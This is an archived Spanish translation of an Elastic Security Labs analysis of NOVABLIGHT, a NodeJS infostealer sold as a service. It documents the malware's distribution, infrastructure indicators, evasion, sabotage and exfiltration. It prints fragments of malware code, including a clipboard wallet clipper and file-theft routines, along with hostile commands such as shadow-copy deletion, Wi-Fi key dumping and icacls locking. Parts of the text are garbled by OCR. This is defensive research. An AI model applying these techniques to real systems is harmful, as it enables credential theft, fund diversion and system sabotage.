https://www.elastic.co/es/security-labs/maas-appeal-an-infostealer-rises-from-the-ashes

MaaS Appeal: An Infostealer Rises From The Ashes

By Jia Yu Chan, Elastic Security Labs

Published: 2025-07-29 - Archived: 2026-04-05 22:40:48 UTC
NOVABLIGHT de un vistazo

NOVABLIGHT es un ladrén de informacion Malware-as-a-Service (MaaS) basado en NodeJS, desarrollado y vendido
por un grupo de amenazas que demuestra dominio del idioma francés. Esto es evidente en sus discusiones y

comunicaciones operativas en sus principales plataformas de ventas y soporte, Telegram y Discord.

Seguin nuestro andlisis de la tltima version lanzada de NOVABLIGHT, el siguiente fragmento de cédigo sugiere que
Sordeal Group, el grupo detrds de Nova Sentinel y MALICORD, también es responsable de NOVABLIGHT.
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\\tNova Blight By Sordeal Group | https://t.me/blightnova‘\\n\\n\\n%\\n\\n

Se menciona a Sordeal Group, seguido de un enlace al canal de Telegram
Conclusiones clave

e NOVABLIGHT es un ladrén de informacién descrito como una herramienta educativa, aunque los mensajes del
canal de Telegram revelan informacion confidencial y capturas de pantalla sin redactar.

e Las licencias de NOVABLIGHT son validas por hasta un afio y los binarios se pueden generar a través de
Telegram o Discord.

e (Codigo muy ofuscado con muchas capacidades.

Descubrimiento

Elastic Security Labs identificé multiples campaiias que aprovechan descargas de instaladores de juegos de video
falsos como sefiuelo de acceso inicial para infecciones Maa$S de usuarios de Internet. En un ejemplo, la URL
http://gonefishe[.]com aplicar al usuario descargar un binario e instalar una version en francés de un juego con un

nombre y una descripcion comparables a uno lanzado recientemente en Steam.
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A propos Caractéristiques Accés anticipé Communauté

GONE FISHING

Un jeu d'horreur coopératif ou la péche devient une question de survie

TELECHARGER MAINTENANT

Pagina de destino para http://gonefishe . con

Distribucion, monetizacion y comunidad

El grupo publicit6 y vendi6 su producto en varias plataformas en linea, anteriormente Sellix y Sellpass y actualmente

Billgang.

Products

Pagina de productos de NOVABLIGHT en Billgang

El grupo vende una clave API, que caduca entre 1 y 12 meses. Esta clave se puede usar luego para crear una instancia
de NOVABLIGHT a través de un bot de Telegram o mediante Discord.

El grupo promueve un programa de referencia en su canal de Discord con claves API como recompensa.

Los usuarios obtienen acceso a un panel alojado por el grupo que presenta la informacién recopilada de las victimas.

Se identificaron los siguientes dominios, aunque pueden existir otros:
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e api.nova-blight[.]top

e shadow.nova-blight[.]top

e nova-blight[.]site

e nova-blight[.]xyz

e bamboulacity.nova-blight[.]xyz

Algunas de las imagenes empleadas en el panel del tablero estan alojadas en repositorios de GitHub asociados a

diferentes cuentas, lo que ayudo a exponer méas detalles sobre el grupo.

Khtml lang="fr"

khead>

a charset="UTF-8">

<title>Nova Shadow</title>

<!-- Chargement des polices Google Fonts -->

Respuesta HTTP de https://shadow.nova-blight .arriba encontrado en VirusTotal

La cuenta de GitHub KSCHcuck1 es un pseudénimo similar al del autor anterior de MALICORD, una version gratis de
la primera version del ladrén que estaba alojada en GitHub bajo la cuenta KSCH-58 (ENLACE AL ARCHIVO SITIO

WEB). La cuenta X @KSCH_dsc también tenia similitudes y estaba promocionando activamente su "mejor ladrén

jamas lanzado" tan recientemente como en 2023.
Se identificaron las siguientes cuentas de GitHub en relacién con el grupo:

e https:VVgithub.comVKSCHcuck1

e https:VVgithub.comVCrackedProgramer412\/caca
e https:\VVgithub.comVMYnva

e https:VVgithub.com\/404log (muerto)

Su canal publico de Telegram alberga tutoriales y una comunidad de usuarios. En la siguiente captura de imagen, los

usuarios comparten capturas de pantalla del proceso de compilacion.
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17:41 N\ all = @&
e Nova_Blight_bot
{ @D lig O

browsers has been set to "yes". .. .,

Do you want to enable fakeerror? ., -,

fakeerror has been set to "yes". .. -,

Do you want to enable social? , -,

social has been set to "yes". .-,

Build Started, please wait a minute... |, -5

Build completed. Grabber link:
undefined 19:27

Build Started, please wait a minute... ;-

Unread Messages

Build completed. Grabber link:
undefined
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Capturas de pantalla de usuarios de la construccién de NOVABLIGHT

Los usuarios del infostealer comparten abiertamente imagenes de articulos de lujo y transferencias de dinero, lo que es

notable porque se describe que NOVABLIGHT tiene tinicamente fines educativos.

merci nova - %

Imagen de teléfonos que un usuario de NOVABLIGHT afirma comprar, compartida a través de Telegram
el 15 de mayo de 2025

Analisis NOVABLIGHT

Page 5 of 26



https://www.elastic.co/es/security-labs/maas-appeal-an-infostealer-rises-from-the-ashes

NOVABLIGHT es un ladrén de informacion modular y rico en funciones creado en NodeJS con el marco Electron.
Sus capacidades van mas alla del simple robo de credenciales e incorporan métodos de recopilaciéon y exfiltracion de

datos, deteccién en entornos sandbox y ofuscacion intensa.

Q Follow v C Reanalyze

39f09771d70e96c7b760b3b6a30a015ec5fb6addd5bcle2e609ddf073c2¢c853d
%HOME%\unpack\VapeV4.exe 70.23 MB

peexe overlay detect-debug-environment

DETECTION DETAILS RELATIONS BEHAVIOR CONTENT TELEMETRY COMMUNITY

VirusTotal muestra una baja tasa de deteccion de NOVABLIGHT

Un aspecto notable del proceso de construccién del malware es su configuracién modular. Si bien un cliente puede
elegir deshabilitar funciones especificas, el cdigo subyacente para esas funciones permanece dentro de la carga util

final; estd inactivo y no se ejecutara segtin los indicadores de configuracién de la compilacién.

walletClipper() {
swapWallet.active !==
config = swapWallet;
const blockchains = [new BlockChain(config.paypalAddress !==
paypalAddress : "https://paypal.me/plus2pub"”, v RegExp("\\b(?:https? )2 (2 :www\\.)?paypal\

[a-zA-Z@-9_T+(?:\\b|$)")), new BlockChain(config.btcAddress "%BTC" + "_ADD%" ? config.
btcAddress : "1B97H3xCG1JuUXbcfs4SzjcdWkgj6chljn™, new RegExp("~(bcl|[13])[a-zA-HI-NP-Z@-9]{25,39}
$")), new BlockChain(config.ltcAddress "%LTC" + "_ADD%" ? config.ltcAddress :
"LcE4jwn2351zLz6phxGSDn8fkyY4QU83AL", new RegExp("(?:~[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$)")), new

La logica del recortador de billetera se puede ejecutar o no, segun el campo de configuracion

swapWallet.active

Los fragmentos de c6digo de este reporte provienen de una muestra de la versién 2.0 no ofuscada, cuando los detalles
de implementacién coinciden con los de las muestras de la versién 2.2, o de nuestro c6digo desofuscado manualmente

de una muestra de la version 2.2 cuando difieren.
Estructura del cédigo

Desde la configuracién inicial hasta el robo de datos, el ladrén de informacién esta organizado en un proceso claro y de

multiples etapas gestionado por controladores de "flujo" de alto nivel. Las etapas principales son:

e flujo/inicio: Comprobaciones previas al vuelo (instancias en ejecucion, privilegios de administrador,
conectividad a Internet), comprobaciones de antianalisis, enumeracién de informacion del sistema,
establecimiento de persistencia, etc.

e flujo/inyeccién: Inyeccion y parcheo de aplicaciones (Atomic, Mullvad, Discord, ...)

e fluir/agarrar: Recopilacién de datos

 flujo/Portapapeles:Secuestro del portapapeles

o flujo/envio:Exfiltracién de datos

o flujo/deshabilitar:Sabotaje del sistema (desactivar Windows Defender, anti-resetear del sistema, conectividad a
Internet rota, ...)

o flujo/limpieza: Limpieza posterior a la exfiltracién
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Para obtener mas informacioén sobre la estructura del cédigo, consulte este GitHub Gist, que enumera las dependencias

directas de cada uno de los médulos principales y los flujos de ejecucion de NOVABLIGHT.

Deteccion anti-depuracion y sandbox

NOVABLIGHT incorpora multiples técnicas para detectar y evadir entornos de analisis, combinando la toma de

huellas ambientales con contramedidas activas. Estos controles incluyen:

e Deteccién de nombres de GPU relacionados con VM (vmware, virtualbox, gemu)

e Comprobacién de nombres de usuario incluidos en la lista negra (sandbox, prueba, malware)

e Identificacion de archivos de controlador especificos de la maquina virtual (balloon.sys, gemu-ga)

o Comprobacion de baja resolucion de pantalla y falta de dispositivos USB

¢ Consultar GitHub para obtener listas negras de IP, HWID, nombres de usuario, programas, organizaciones,
nombres de GPU, nombres de PC y sistemas operativos

e Matar activamente herramientas de analisis y depuracién conocidas que se encuentran en una lista remota

st detectVMArtifact:

s.includes(x));

|| s.resolutionY
B &2 u.length

""} .tolowerCase() . includ _.
- @2 LowerCase( ) . includes(x));

H

verSignature(["balloo

computeSuspicionScore(info)) > 20;

Comprobaciones anti-depuracién y anti-VM

Las listas negras estan alojadas en GitHub:

« https:\VVraw.githubusercontent.comVVMynvaVsubVmainVjsonVblocked hwid.json

e https:VVraw.githubusercontent.comVMynvaVsubVmainVjsonVblockedpcname.json

Deshabilitar Defender e intentos de deshabilitar el Administrador de tareas
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NOVABLIGHT intenta deshabilitar Windows Defender y las funciones de seguridad de Windows relacionadas
descargando y ejecutando un script por lotes, DisableWD.bat. de un repositorio puiblico de GitHub.

El malware afirma ser capaz de deshabilitar el Administrador de tareas, lo que dificulta que un usuario sin

conocimientos técnicos identifique y finalice el programa malicioso. Emplea setValues del paquete regedit-rs

para establecer el valor DisableTaskMgr en 1 bajo
HKCUN\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System .

‘unction disableTaskManagerFunction()
(disableTaskManager != |

type: "RE

r

Deshabilitar el Administrador de tareas a través del registro

Sin embargo, al observar el regedit-rs repositorio (v1.0.3 para que coincida), no hay funciones exportadas llamadas

setValues , solo putValue . Es posible que esta funcionalidad no funcione como se espera.
n=t { RegistryType, list, createkey, putValue, deleteKey, deleteValue } = nativeBinding

const {

module.

module.

module 5. 3 = createkey

module. e 5. ! putValue
module. 5. ; r = deletekKey

module. 5. : F- = deleteValue

Fragmento de js-binding.js del repositorio de GitHub regedit-rs

Deshabilitar el acceso a Internet

Para interrumpir la conexion a Internet de la victima, el malware emplea dos métodos distintos. El primero implica
deshabilitar de forma persistente el adaptador Wi-Fi resetear repetidamente en un bucle rapido, empleando el paquete

npm externo wifi-control y su funcién resetWiFi .
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return;

try {
wifiControl.init({
debug:

1!
disableloop
wifiControl.resetWiFi(({error
if (lerror
setTimeout(disableloop, 768);

disableloop();

Desactivar el adaptador Wi-Fi

El segundo método deshabilita el adaptador de red principal “Ethernet” mediante el comando netsh | ejecutandolo

cada 5 segundos para deshabilitar los intentos de reactivacién.

1 disableEthernet() {
if (disableNetwork !==

setTimeout(disableloop,

disableloop();

Deshabilitar el adaptador de red llamado “Ethernet”

Derrotar la recuperacion del sistema

El malware puede sabotear la recuperacién del sistema al deshabilitar el entorno de recuperaciéon de Windows
( reagentc /disable )y eliminar todas las instantdneas de volumen ( vssadmin delete shadows /all ) cuando la

marca antireset estd habilitada en la configuracion.
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{ antireset } = require(

ERY, (error, stdout, stderr)

stderr

Deshabilitar la restauracion del sistema
Bloqueo de la eliminacion de archivos

Otra funcion de sabotaje del sistema que puede ser evidente para la victima implica hacer que el archivo ejecutable del
malware no se pueda eliminar modificando sus licencias de seguridad a través de icacls “${filePath}" /deny

${currentUser}:(DE,DC) , donde DE niega los derechos de eliminacién y DC impide la eliminacién a través de la

carpeta principal y, opcionalmente, creando un cuadro de mensaje emergente que contiene un mensaje "troll".
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removeFilePermissions(filePath) {
if (blockFile !== "yes® || DEVTEST) {

return;
currentUser = process.env.USERN
currentl ) return;

removeAdminPermissions();

: and "] s "%#{filePath”

¥ 0O

blockMalwareExecutable() {
" || pathConfig.exePath.includes

removeFilePermissions(pathConfig.exePath);
h (error) {}

moaulie .
removeFilePermissions: removeFilePermissions,
BlockGenerateExe: blockMalwareExecutable

T3

Impedir que el usuario actual elimine el ejecutable de malware

Antes de bloquear, también ejecuta un comando de PowerShell para eliminar la cuenta de la victima de los siguientes

grupos del sistema: Administrators , Power Users , Remote Desktop Users , Administrateurs

group

windowsHide

Eliminar el usuario actual de los grupos de administradores

Sustitucion de la direcciéon del portapapeles

El malware implementa un médulo "clipper" que monitorea activamente el portapapeles de la maquina en busca de
direcciones Crypto o Paypal y las reemplaza con direcciones definidas en la configuracién. Si el usuario que creé la
carga util no proporcion6 sus propias direcciones, el malware emplea de forma predeterminada un conjunto codificado,

presumiblemente controlado por los desarrolladores para capturar fondos de sus usuarios menos experimentados.
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if (swapWallet.active ! "yes"
t config = swapWallet;
blockchains = [ne

return;

? config. btcAddress :

BlockChain(config. paypalAddress =

A(bcl
ph

haln(conflg ltcAddress
3 ? config.xlmAddress :

xrpAddress ! ? config. xrpAddr‘ess
")), new Block valn(conflg bchAddress ? config.bchAddress
z n(config.dashAddress
1-9A-HJ-NP-

X BlockChain

-neoAddress : "Ab ?
(conflg dogeAddress 1= 0G ? i q i K 2 n2w", new RegExp("D{1}
' ? config.ethAddress :
kChain(config.ibanAddress !
BlockChain(config.adaAddress
A-Z]+)$")), n
\
}

HJ-NP-U]{1}[1-¢
xddda6t413

BlockChain(config.
solAddress !
while (true
try {
nst paste
let text =
let dtc = false;
t blockchain
t line of text.split("\n")
lockchain.address) {

4$‘);
1ild_process

.execSync("powershell Get-Clipboard").toString("utf8").replace("\r",

of blockchains) {

if (blockchain.regex.test(line.replace("\r", ""))) {
text = text.replace(line, blockchain.address);

}

execSync (" p ell Set-Clipboard

Se emplean direcciones de respaldo si no se especifican en la configuracion.

Inyecciones de aplicacion de electrones

NOVABLIGHT puede inyectar codigo malicioso en varias aplicaciones populares basadas en Electron. Las cargas
utiles se obtienen dindmicamente desde el punto final https://api.nova-

blight[.]top/injections/*targeted_application*/*some_key* y estan dirigidas a aplicaciones como:

 Cliente de Discord

o Cartera Exodus

e Cliente VPN de Mullvad
e Monedero atémico

e Cliente de email Mailspring
Pudimos recuperar todos los médulos de un repositorio publico de GitHub.

La implementacién de la inyeccién es un ejemplo tradicional de reempaquetado de Electron App: descomprimir el
archivo ASAR, reescribir cualquier archivo fuente de destino y luego reempaquetarlo. Si observamos un ejemplo que
involucra al cliente Mullvad, primero descomprime Program Files\\Mullvad VPN\\resources\\app.asar enun
directorio temporal, obtiene una versioén con puerta trasera de account.js desde https://api.nova-
blight[.]top/injections/mullvad/dVukBEtL8rW2PDgkwdwfbNSdG3imwU8bZhYUygzthir66sXXUuyURun0in9s

el archivo fuente account.js vy, finalmente, lo vuelve a empaquetar. Si bien atin podria funcionar para versiones

, sobreescribir

anteriores de Mullvad, como 2025.4, Esto no parece funcionar en la tltima version de Mullvad.
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injectMullw

h.join(process.env.ProgramFiles, 'Mullvad VP

, telegram.chatId)
, telegram.userId)

(error)

Reempaquetado del cliente Mullvad

En un caso similar para el cliente Exodus, los desarrolladores de NOVABLIGHT modificaron la funcién setPassphrase
en el médulo principal de la aplicacién Exodus, con funcionalidades adicionales de robo de credenciales.

Asi es como se ve main/index.js en una publicacién legitima de Exodo 25.28.4:

setError(e
is.emit

setPas.
iz.emit

setMnemonic(

._walletloaded = e, is._action =

is.emit("wa

awaitWalletloaded
- ._walletLoaded ||

Légica original de main/index.js en el cliente Exodus

Enel index.js troyanizado, las contrasefias ingresadas por el usuario se filtran a través de webhooks de Discord

configurables y Telegram, empleando la API oficial de Telegram o un proxy de API de Telegram personalizado.
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setPassphra
i5.emit(

onfig.links
inline:
Iy
E )
thumbnail:
url: "http

8|

username:
avatar_url

value}” ).join

elegram
telegramMe:
config.bot_tol
config.
config.user_id

index.js troyanizado
Extraccion de datos confidenciales de Chrome

Para atacar a los navegadores basados en Chromium (Brave, Chrome, Edge) que se ejecutan en la version 137, el
malware descarga un archivo zip que contiene una herramienta de descifrado de datos de Chrome desde

https:VVgithub.comVHyutopVpandakmc-auto-vote\/blobVmainVbin.zip.

bbing/Br ers/br / - : [__p_QHT9_fnLength(functi (...__p_Rubt_varMask) {

{
_ p_IZIR ast(__p_Rubt_varMask[" ] 3, __p_QHT9_fnLength(MeLIORAtivesentubaraislamieseagramarebronceariamos, 2), _ p_JVyO_fnLength
(EXTINGAmosrevenaranchorizanremitentes, 2));

t PrAGMATistssurrealistscorvemoschuchasesflatscreen =
i "fin

p/pandakmc-auto
__p_usnu_args) {

__p_GzZ63_flat_object
__p_fPbb_flat_SWUwK(__p_usnu_args, _ p_GzZ63_flat_object);

H
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Recuperacion dindmica de la herramienta de descifrado de datos de Chrome

El repositorio de GitHub intenta hacer pasar por una herramienta de gestiéon de votaciones de Minecraft.

. pandakmc-auto-vote ' Pubiic ©watch 1 - | ¥ Fok 0 <~ | 17 sar o~

¥ main ~ | P 1Branch © gs C t | Addfile - | <> Code ~ About

minecraft auto vote for pandakmc and
@ Hyutop Add c 4 2 commity other server

] README.md

j bin.zip

[IJ README

B Auto-Vote Minecraft Panel

Releases

Un panneau de contréle simple et élégant en HTML + Tailwind CSS pour automatiser les votes Minecraft sur les sites
comme Top-Serveurs.net, Serveurs-Minecraft.org, etc.

Packages

Repositorio de GitHub con un README falso

Sin embargo, el archivo zip bin.zip contiene el c6digo compilado (decrypt.exe y chrome decrypt.dll) de la version

0.11.0 del proyecto PoC del descifrador vinculado a la aplicaciéon Chrome de xaitax.

* pax = sub_140001ad0(&data_14005c970,
sub_140013b30(rax, sub_1400150d0(sx.gq(*(*pax + 4)) + rax, Oxa)
sub_140012eb0(rax

#* pax_2 = sub_140001ad0(&data_14005c970, Chrome App—Bound Encryption Decryption
sub_140013b30(rax_2, sub_1400150d0(sx.q(*(x*prax_2 + 4)) + rax_2, Oxal
sub_140012eb0(rax_2

* pax_4 = sub_140001ad0(&data_14005c970, "I Direct Syscall Injection Engine
sub_140013b30(rax_4, sub_1400150d40(sx.q(*(rax_4 4)) + rax_4, Oxa)
sub_140012eb0(rax_4

#* pax_6 = sub_140001ad0(&data_14005c970, "I x64 & ARMG64 ! Cookies, Passwords, Payments
sub_140013b30(rax_6, sub_1400150d0(sx.q(*(*rax & + 4)) + rax_6, Oxal
sub_140012eb0(rax_&

* pax_8 = sub_140001ad0(&data_14005c970, vD.11.0 by Bxaitax
sub_140013b30(rax_8, sub_1400150d40(sx.q(*(rax_B 4)) + rax_8, Oxa)
sub_14001Z2eb0(rax_8B

#* pax_10 = sub_140001ad0(&data_14005c970,

Herramienta de descifrado de aplicaciones de Chrome de xaitax

Enumeracion del sistema

Una vez activo, NOVABLIGHT ejecuta un conjunto integral de funciones de enumeracién del sistema disefiadas para
crear un perfil completo de la maquina de la victima y de la actividad del usuario. Cada médulo apunta a una pieza
especifica de informacion, que luego se almacena en un directorio local antes de cargar al servidor de comando y
control. Los ingenieros de deteccion deben tener en cuenta las implementaciones especificas de cada técnica y qué

fuentes de datos proporcionan suficiente visibilidad.

e captureSystemInfo() :Recopila especificaciones extensas de hardware y software para identificar el
dispositivo. Esto incluye el ID de hardware (HWID), los modelos de CPU y GPU, el tamafio de RAM, la
informacion del disco, la version del sistema operativo Windows y una lista de todos los dispositivos USB
conectados.

e Salida: *configured_path*/System Info.txt
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ty, d,Manufacture ory , Number"), runPS
), runPS("Get-CimInsta C 11 s t ), runPs
: e"), runPS("G t

o G

.FreeSpace), 0);

.cpu.brand,
cpucount .cpu.cores,
ram: formatBytes(sys.ram.total).toFixed(@),

: _diskList$.Size) !==

: _diskList$2.FreeSpace) !==

totalDisk),
(freeDisk),

.FreeSpace,
.Size - d.FreeSpace

Recopilacion de informacion del sistema

captureScreen() :Captura una captura de pantalla completa del escritorio de la victima, lo que proporciona

informacién inmediata sobre la actividad actual del usuario.

o Meétodo: emplea la biblioteca de captura de pantalla de escritorio .
o Salida: Un archivo de imagen con marca de tiempo (por ejemplo, ‘configured_path/hostname_2025-10-
26_14-30-00.png’).
captureTaskList() :Obtiene una lista de todos los procesos que se estan ejecutando actualmente para conocer
la situacién, lo que permite al atacante ver qué aplicaciones y herramientas de seguridad estan activas.
o Método: ejecuta el comando tasklist /FO CSV /NH .
o Salida: *configured_path*/TaskManagerInfo.txt
captureAVDetails() :Identifica el producto antivirus o de proteccién de puntos finales instalado consultando
el Centro de seguridad de Windows.
o Meétodo: ejecuta el comando de PowerShell Get-CimInstance -Namespace root/SecurityCenter2 -
ClassName AntiVirusProduct | Format-List
o Salida: *configured_path*/Avdetails.txt
captureClipboardContent() : Vuelca el contenido actual del portapapeles del usuario, que puede contener
informacion transitoria y confidencial, como contrasefias o mensajes copiados.
o Método: ejecuta el comando de PowerShell Get-Clipboard .
o Salida: *configured_path*/Clipboard.txt
capturellebcamVideo() :Graba de forma encubierta un video empleando la cdmara sitio web principal del

sistema, proporcionando informacién visual sobre la victima y su entorno.

o Método: aprovecha la biblioteca direct-synch-show para la captura de video.
o Salida: *configured_path*/Bighead.avi
capturellifiPasswords() :Exfiltra las contrasefias de todas las redes Wi-Fi almacenadas en el dispositivo, lo
que permite un posible movimiento lateral o acceso a otras redes que emplea la victima.
o Método: ejecuta el comando netsh wlan show profile *wifi_ssid* key=clear para cada perfil.
o Salida: *configured_path*/WifiPasswords.txt
getFilesUrgents : Esta funcionalidad extrae archivos del disco segtin un conjunto de palabras clave como las
siguientes: copia de seguridad, default, code, discord, token, passw, mdp, motdepasse, mot_de_passe,
login, secret, account, acount, apacht, banque, bank, matamask, wallet, crypto, exdous, 2fa, alf, memo,

compone, finance, seecret, credit, cni, estos archivos se archivan como files.zip y luego se envian al C2.
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async function getFilesUrgents() {
try {
const tempDir = fs.mkdtempSync(path.join(process.env.TEMP || "/tmp", generateld(16)));
const zipPath = path.join(tempDir, "files.zip");
const zip = new AdmZip();

for (const folder of foldersToSearch) {
if (fs.existsSync(folder)) {
const filesInFolder = fs.readdirSync(folder, {

withFileTypes: true
b
for (const dirent of filesInFolder) {
const filePath = path.join(folder, dirent.name);
if (dirent.isFile()) {
processFile(filePath, zip);
} else if (dirent.isDirectory() && folder.includes("Desktop")) {
const subFolderFiles = fs.readdirSync(filePath, {
withFileTypes: true

Recopilacion de archivos importantes
Exfiltracion de datos

Hay 3 canales para los datos robados: el panel sitio web oficial propiedad del grupo NOVABLIGHT, la API de
webhook de Discord y la API de Telegram. El estado de estos canales es incierto, ya que la API de proxy principal y el
panel sitio web estan actualmente inactivos, lo que puede interrumpir la funcionalidad de los canales de Discord y

Telegram si dependen de la misma infraestructura de proxy.

El panel sitio web alguna vez fue el canal oficial de exfiltracién, ya que se publicitaba como su principal plataforma de

gestion de datos.

28/03/2025 N
07:32:05

Games & Cheats

Panel de control en el panel sitio web de NOVABLIGHT
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La implementacion de Telegram primero intenta enviar los datos a una URL proxy configurada, el cédigo verifica si la
URL contiene la cadena req en este caso https://bamboulacity.nova-
blight[.]xyz/req/dVukBEtL8rW2PDgkwdwfbNSdG3imwU8bZhYUygzthir66sXXUuyURun0in9s .

Si la URL del proxy no esta configurada o no cumple la condicién, el médulo recurre a la comunicacién directa con la
API oficial de Telegram (en https://api.telegram[.]Jorg/bot*token*/sendMessage ) empleando un userld, chatld y

botToken configurados para enviar los datos robados.
ion sendToTelegram() {

>t mainInfoMessage = stats.TelegramPrincEmbed;
ot allOtherMessages = stats.data.TelegramEmbeds;

(WA "
/
/

st useProxy = new RegExp("\\/reqg\\ ).test(telegramProxyUrl);
if (useProxy) {
t sendMessageToProxy(mainInfoMessage);
t allOtherMessages) {

- sendMessageToProxy(message[@]);

“h (error) {

it sendMessageToTelegram(mainInfoMessage);

(let message of allOtherMessages) {
t sendMessageToTelegram(message[0]);

Canal de exfiltracién de datos: Telegram

A diferencia del m6dulo Telegram, la implementacién del webhook de Discord es mucho méas simple. Emplea una
unica URL para la exfiltracién sin ningtin mecanismo de respaldo. Las muestras analizadas emplearon

consistentemente la URL de proxy personalizada para este proposito.
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t { webhook: we Irl } = require(’../../

1 sendToDiscord() {

sendRequest(pathConfig.D rdPrincEmbed) ;
= pathConfig.data
chunkArra
dc

Canal de exfiltracion de datos: Discord

NOVABLIGHT emplea una infraestructura redundante y de multiples niveles. En lugar de depender de un tnico host
de carga, lo que crearia un unico punto de falla, el malware aprovecha una combinacién de servicios legitimos de
alojamiento de archivos de terceros y su propio backend dedicado. La siguiente es la lista extraida de dominios y

puntos finales:

e https://bashupload[.]com

e https://litterbox.catbox[.]moe/resources/internals/api.php
e https://tmpfiles[.]Jorg/api/v1/upload

e https://oshi[.]at/

e http://sendfile[.]su/

e https://wsend[.]net

e https://api.gofile[.]io/servers

e https://gofile[.]io/uploadFiles

e https://rdmfile[.Jeu/api/upload

e https://bamboulacity.nova-blight[.]xyz/file/

Datos especificos

NOVABLIGHT ejecuta rutinas especificas disefiadas para robar credenciales y archivos de sesién de una lista

especifica de software instalado. La lista seleccionada esta disponible en este GitHub Gist.
Técnicas de ofuscacion

Mapeo de matrices

La primera técnica que hay que abordar es el uso del mapeo de matrices por parte del malware. El script inicializa una
unica matriz global grande __p_6Aeb_dlrArray con valores de diferentes tipos y codificaciones, lo que representa casi

todos los valores literales empleados en el script.

Page 19 of 26


https://gist.github.com/jiayuchann/4a27afce5be67dd73edb9c4b9a6de1f9

https://www.elastic.co/es/security-labs/maas-appeal-an-infostealer-rises-from-the-ashes

*®

b

2
2

Matriz global principal empleada para btisquedas de valores

Luego de sustituir las referencias del indice de la matriz, muchos fragmentos pequefios de cadenas que forman una
cadena completa se dividen y concatenan en el tiempo de ejecucion, pero en esta etapa, el niimero de version de
NOVABLIGHT se puede identificar facilmente.

_ p xIFu_MAIN_STR(4943) + _ p xIFu MAIN STR(4999) + : [__p QHT9_fnLength( (...__p_55DG_varMask

__p_55DG_varh:
1p

= [

"]1(cAbEStrabasadicionabamosaerosolizes, pReJUzgariamos, pIzQUeis
AbEStrabasadicionabamosaerosolizes]

if ' : s1["in™ " d" ' pRelUzgariam

Resultados luego de corregir la asignacion de matriz para __p_6Aeb_dIrArray

Codificacion de cadenas

La segunda técnica empleada para ocultar cadenas es el uso de la codificacién base91. La funcién contenedora

__p_xIFu_MAIN_STR se llama con un argumento entero.

t pizqUEIs =
__p_xIFu_MAIN_STR(3828)

p_QHT9_fnLength
th"] = 2;

p_ewH2_flat_object[__p_xIFu_MAIN_STR(2298) + _ p_xIFu_MAIN_STR(2299) + _ p_xIFu_MAIN_STR(3829) + _ p_xIFu_MAIN_STR(3830
I( el, 1D

Cadenas ofuscadas

El entero es un indice de una matriz secundaria que asigna __p_9sMm_array y que contiene cadenas codificadas.

Recupera la cadena codificada y la pasa a la rutina de decodificacién. __p_xIFu_MAIN_STR_decode .
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_ p_IZIR_ast(__p_MeKf_cache = {}, _ p_9sMm_array = ["CATQ>w(A", "ZJia~{=AX1*&y$1IyfgXHOIP%GEqIkbP2)1qefv", "9fd1*DqE&*GKGA.s0J11/.#gP
{3_wemzI#IqQd", "VvdB;{i)Ky$[/!gUn79Q(BRv", "j52q7fsG{K:X!@DG", ":9Y1lvT.Ab5s", "byl(FgvSa&Mr_+inC_TL%%>P;t98Ymnsgawbx10 04W}3Q", "B,
PXFgVBz$gI; /V%w)6bXf6x08/tITI%WAA<NR((P3U)U9V=wv", "}\"_3{i&n|KrgH=0", "[J0,sMyf63AgFQKDy8*w2\"%xF5${$$vSfno(FEe(C3F{N=8_rE.X[ibOsY<BF",
"VSa/1*DGitfx<A", "!I=P&L8R.GXObDWn", "goMrq]pOsY3<r=)s+kblu|r%BoQ6qj\":d{TLEZ>(vfi&9))noF", "Ud.q8(xM\"4WI*g_hKhWo.#V{="1}t<\"<{9x50@}s,
n8UHQGb&A", "wfpNM]&|@ )b~bNr6tQx", "&)VId%,R(GFoU94hs+r?d_#s9&fLHb", "J,W>~XyGpGF,D$#%Udpg]]#82wYjBj2<2Zm(02$2z>a()ZD374",u]ljMy[w",
">3DbWAsf@&2Z H[ng[Eqii&ri> |%WHR<g\"/<r0: b5* |$Au@Imabti%%x", "1,rxE{11d$!t)$kPS’ +dbgg 1YI~$QyIbbA", "W1f>8+q Et.,LiQadhs<L|}%C3305g#%",

"YEy1\"UFM9iwq6<qG/, {L&D1@$8&#}AZe_If6dY(BE;3!F(marm5uaG:PA", "C5\"1@JUnr),qkIjP~5+5j!ars8h,hQ", "WSBIq900x", "n5JIb*T1"Cf~u+zZ@_>/;dlL,
%Ut#}FHinA Qph", "W\"3L*L12Ku!F7Iu_o%V5", "?3;qb@KFGCQIEkgh)J:a" ]{08~03_RZ: F", "1,)?1LzP*G$k3Q%B~kkaykKGcCm nqlto8", "ji>oh]wRBOUuU)
eMI@9M1[9T2CiMmN+CBn[D/W;YBj", “"$i}>(evsS SK1HbroXa+" ({KZXX|Ws19A", "JoQwZl#fEtsjtj%HQRA", "~JR/7XD%l4_aF", "b &q81L,U*4{VeMG|9Rda;
S_amXZPArPVv", "*,(wpMv", ";IR(SU1P3fC4F", "mf5<~* H&>;40%7s2,:d_RQxwYQ@y$# $F", "jurx@/*x6>", "S{C,!qe2kGu@?KUH|8;d%X?ByYT}rb$_W\"FI.p)
Mig$vghUhSulsgu", "2S5P!1AfsM8?[kb", "TSZaze!r?[]*_<_:HicdXimG(f~z/IJ_ JVz’nl)F" "£13<{1KR9~13Z]XG~8T*i0; (ruv[=<)8+\" : >9UnE&XFLOXGYIk1=",
11Fok)72))}tz<9hBlD5] V@C&<Y RzhN, dw, eLPM>V1kU}P\"f/gH/PA" “uYQag@Jeka' o /oA( Bl&qu @HO]GF( ]Mz>agxpu8A9Eb

Matriz global empleada para la busqueda por __p_xIFu_MAIN_STR

__p_xIFu_MAIN_STR_decode Luego,
lo decodificara empleando un alfabeto personalizado: vFAjbQox\>5?4K$m=83GYu.nBIh\<drPaN\"@%Hk:D_sSyz"ER9/p,
(*Jwtf0)iUTEC\["\}\{|Z+gX1MqL;60!e]T#2cVW7 y devolverd la cadena decodificada.

__ p_xIFu_MAIN_STR_decode(...
_ p_IZIR_ast(
[~} 2 W7",
-183
8] = 0;
7| & el
-183].push

__p_NIEt_bufferToString

__Pp_XTIFu_MAIN_STR(...
"le

p_MeKf_cac r
__p_MeKf_cache __p_9sMm_array[

__p_MeKkf_cache[

Légica principal para la decodificacion de cadenas

Ofuscacion de patrones de acceso

En lugar de acceder directamente a los objetos y funciones, el cdigo emplea objetos “proxy” intermedios aplanados

con claves destrozadas, envolviendo los objetos en otra capa de objetos para ocultar los patrones de acceso originales.

Por ejemplo, a la funcion __p_LQ1f_flat_--- se le pasa un objeto plano __p_w3Th_flat_object . Este objeto contiene
